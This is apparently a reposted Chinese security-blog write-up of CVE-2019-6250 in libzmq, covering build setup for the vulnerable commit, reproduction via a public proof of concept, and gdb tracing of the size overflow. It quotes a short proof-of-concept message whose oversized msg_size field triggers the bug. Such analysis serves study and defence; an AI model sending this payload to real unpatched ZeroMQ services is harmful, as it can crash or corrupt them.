漏洞分析 CVE-2019-6250
2023-11-29 18:1:28 Author: 看雪学苑(查看原文) 阅读量:9 收藏


软件介绍

ZeroMQ(Zero Message Queue) 是一个 C++ 编写的高性能分布式消息队列,是一个非常简单好用的传输层,使得 Socket 编程更加简单、简洁和性能更高效。ZeroMQ 核心引擎是libzmq。


环境配置

系统环境 ubuntu18.04(64bit)
目标软件版本: libzmq 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

安装 libzmq

下载目标软件
Git clone https://github.com/zeromq/libzmq.git
跳转到有漏洞的版本
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
安装 libtool
sudo apt-get install libtool pkg-config build-essential autoconf automake
执行
./autogen.sh
执行
./configure
执行
make
执行
sudo make install

安装 Cmake

cppzmq 的编译需要版本较新的 Cmake。
第一步:卸载原来的cmake版本:
sudo apt-get remove cmake
第二步:自https://cmake.org/download/下载cmake源码,cmake-3.26.0-rc5.tar.gz。
第三步:解压cmake源码。在cmake源码所在文件夹中打开命令终端,解压文件:
tar -zxv -f cmake-3.26.0-rc5.tar.gz
cd cmake-3.26.0-rc5
第四步:进入解压后的cmake文件,执行bootstrap。接下来的bootstrap、make、make install三个命令执行时间都很长,需要耐心等待。
./bootstrap
出现以下错误可尝试依次使用下列命令,记得重新运行第四步的命令:
sudo apt-get install g++
sudo apt-get install libssl-dev
第五步:编译构建:
make
sudo make install
第六步:验证安装版本。
cmake --version

安装 cppzmq

下载 cppzmq。
git clone https://github.com/zeromq/cppzmq
这一步会卡很久,而且会提示 CMake libzmq package not found,多等一会儿就可以了。
root@ubuntu:~/cppzmq# cmake .
转到 demo 文件夹。
cd demo
编辑 demo 文件,添加 helloworld。
printf("hello world\n")
编译 demo 文件。
root@ubuntu:~/cppzmq/demo# make
demo 文件可以正常执行。
root@ubuntu:~/cppzmq/demo# ./demo
root@ubuntu:~/cppzmq/demo# hello world


漏洞复现

◆复制 POChttps://github.com/zeromq/libzmq/issues/3351
◆在 cmakelists.txt 文件第一行添加:
set(CMAKE_CXX_FLAGS "-std=c++11 -g -O3")
◆复制到demo并重新编译
◆执行./demo
◆漏洞成功复现


分析POC

send 的第三个参数就是 msg_size,是可控的,这里传了一个非常大的数,应该是导致溢出的关键参数。
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
跟踪 whoami 在 POC 中的传递。
大致了解了POC的流程后我们根据POC作者的指引找到 /root/libzmq/src/v2_deocder.cpp 文件查看源码,从而找到了其溢出的关键代码。
也可以在 gdb 中动态调试一下,可以看到 msg_size_ = 0xffffffffffffffff。
break main
r
break zmq::v2_decoder_t::size_ready
c
[ trace ]──────────────────────────────────────────────────────
[#0] RetAddr: 0x7ffff7baa3c0, Name: zmq::v2_decoder_t::size_ready(this=0x7fffe800b6b0, msg_size_=0xffffffffffffffff, read_pos_=0x7fffe800b781 "")
[#1] RetAddr: 0x7ffff7baa808, Name: zmq::decoder_base_t<zmq::v2_decoder_t, zmq::shared_message_memory_allocator>::decode(this=0x7fffe800b6b0, data_=0x7fffe800b778 "\002\377\377\377\377\377\377\377\377", size_=0x2000, bytes_used_=@0x7ffff5b34fd8)
[#2] RetAddr: 0x7ffff7b9ac07, Name: zmq::stream_engine_t::in_event(this=0x7fffe80008e0)
[#3] RetAddr: 0x7ffff7b9e231, Name: zmq::stream_engine_t::plug(this=0x7fffe80008e0, io_thread_=<optimized out>, session_=<optimized out>)
[#4] RetAddr: 0x7ffff7b8a60c, Name: zmq::session_base_t::process_attach(this=0x7fffe8000e30, engine_=0x7fffe80008f0)
[#5] RetAddr: 0x7ffff7b7939a, Name: zmq::object_t::process_command(this=0x7fffe8000e30, cmd_=<optimized out>)
[#6] RetAddr: 0x7ffff7b6e234, Name: zmq::io_thread_t::in_event(this=0x7ffff0004800)
[#7] RetAddr: 0x7ffff7b6c9ee, Name: zmq::epoll_t::loop(this=0x7ffff0004db0)
[#8] RetAddr: 0x7ffff7ba359d, Name: thread_routine(arg_=0x7ffff0004e08)
[#9] RetAddr: 0x7ffff6e47184, Name: start_thread(arg=0x7ffff5b36700)

看雪ID:简单的简单

https://bbs.kanxue.com/user-home-950902.htm

*本文由看雪论坛 简单的简单 原创,转载请注明来自看雪社区

# 往期推荐

1、2023 SDC 议题回顾 | USB FUZZ 工具前沿探索

2、AFLNET源码分析

3、聊聊大厂设备指纹获取和对抗

4、漏洞分析 CVE-2010-0249

5、OWASP 实战分析 level 2

6、DAS PWN出题思路&CVE-2023-40930的介绍

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458529835&idx=1&sn=3f9ac7add46ba56296fafafa17fa72aa&chksm=b18d00a186fa89b7746d286cb361c6e9169a2a574f94f7f0c34235dd6ff69cc0b7942e4c20ad&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh